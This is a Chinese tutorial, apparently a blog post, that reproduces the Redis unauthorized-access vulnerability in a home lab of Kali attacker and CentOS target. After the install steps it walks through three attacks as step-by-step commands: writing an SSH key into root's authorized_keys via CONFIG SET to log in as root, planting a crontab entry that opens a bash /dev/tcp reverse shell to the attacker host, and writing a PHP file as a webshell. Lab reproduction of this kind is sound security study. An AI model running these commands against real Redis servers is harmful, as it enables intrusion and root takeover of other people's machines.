哪种修复redis未授权访问漏洞的方法是相对不安全的_redis漏洞复现

737571ef1857f1054f30fc05979753f1.png

一、漏洞简介

什么是redis

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

redis 是一个高性能的key-value数据库。redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。

redis未授权访问漏洞

redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。

漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

本次复现主要是:

1.Redis以root身份运行,给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

2.将文件写入周期性计划任务,然后接受反弹shell

3.如果搭建了web服务器,写入webshell,控制服务器(此处因为是自己搭建的测试环境,只是将文件写入了/tmp目录,真实情况需要修改)

准备环境:

攻击机(kali):192.168.163.131(需要自己搭建redis-cli,和服务器端搭建步骤一样)

靶机(centos):192.168.163.132

二、环境搭建

(1)下载redis压缩包

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

eb48f862ef7ce26b5ad7c06951e80d9f.png

(2)将压缩包放入指定路径,并且进入指定路径

cp redis-2.8.17.tar.gz /root/Desktop/redis/redis-2.8.17.tar.gz
cd redis

f6029c0180bb3e8adb07d30b73be80a5.png

(3)解压压缩包,进入指定路径redis-2.8.17,进行安装

tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make

188a966d524c9997e715bb1cd120ae6f.png

(4)进入到src路径下

b3aa4b650e6766215db7dfc0556c4fd1.png

(5)将redis-server和redis-cli拷贝到/usr/bin目录下,后续方便直接启动redis服务器并且将redis-2.8.17目录下面的redis.conf拷贝到/etc下面

cp redis-server /usr/bin
cp redis-cli /usr/bin
cp redis.conf /etc/redis.conf

8fd663053385d6d5089d972bb3f92022.png

(6)启动服务

redis-server /etc/redis.conf

608aec2550fb85e4057011767449f855.png

三、漏洞复现

3.1 利用“公私钥”认证获得root权限

(1)未授权访问连接(无法连接)

redis-cli -h 192.168.163.132

444810d2a3b45e7d2959869ae9dc5084.png

(2)因为是本地搭建,没有开启6379端口对外开放,此处为了方便,直接关闭服务器(靶机)的防火墙

/etc/init.d/iptables stop

3b6a32208a1dbb3af2a082a0bdc0bd35.png

(3)kali攻击机未授权访问连接

redis-cli -h 192.168.163.132
keys *

6ee1072986655c295e1c3bffec2d1d6d.png

(4)在攻击机中生成ssh公钥和私钥,密码设置为空:

ssh-keygen -t rsa

3d58a923b2548701f71c48beb6d6ae73.png

(5)进入.ssh目录,将生成的公钥保存到1.txt:

cd /root/.ssh
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > 1.txt

4f4ca77ba6c7353294874f94f1d37c9f.png

(6)将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

cat 1.txt | redis-cli -h 192.168.163.132 -x set crack

b455bbf19afb80c73f78636e9ac35a8b.png

(7)并使用 CONFIG GET dir 命令得到redis备份的路径:

CONFIG GET dir

f720b9b5c0be49d11d95c5d5a3052967.png

(8)更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),并且修改上传公钥文件的名称为authorized_keys

config set dir /root/.ssh
CONFIG SET dbfilename authorized_keys

0e71004ebe60934cf6059f4e06b3126b.png

(9)检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机:

CONFIG GET dbfilename
save

bc87859053754b079ef0f386a09eb036.png

(10)查看服务器端已经成功写入

3fca0bdd6ff39023869aa664bd82a6ab.png

(11)攻击机成功登陆到服务器

ssh -i id_rsa root@192.168.163.132

2f5a93581195f02b753248ccaeb295c2.png

3.2利用crontab反弹shell

权限足够的情况下,利用redis写入文件到周期性计划任务执行。

(1)在kali攻击机里面监听指定端口

nc -lvnp 8888

398a2bac3bf6dc7abf40f408061217a5.png

(2)向服务器写入文件

set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1nn"
config set dir /var/spool/cron
config set dbfilename root
save

7a14fbcfe3eb46d10779d2c8ad2c0ad5.png

3)查看服务器端的写入情况

97ed01823e2d2ca72ce80e765b858d1f.png

(4)Kali攻击机已经可以连接了(得到了反弹shell)

38f10a18be564654b8eb3dc2b08645fd.png

3.3写入webshell

此处因为是自己搭建的测试环境,只是将文件写入了/tmp目录,真实情况需要修改,将文件写入web路径

(1)写入文件到/tmp目录

config set dir /tmp
config set dbfilename shell.php
set webshell "<?php phpinfo(); ?>"
save

700444bd2ca55612b11dc1bf47a3a43d.png

(2)查看服务器

b769e3d6aee7fcfb56f6d389a4e11f55.png

备注:

写入webshell的时候,可以使用:

set x "rnrn<?php phpinfo();?>rnrn"

rnrn代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

原文链接

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值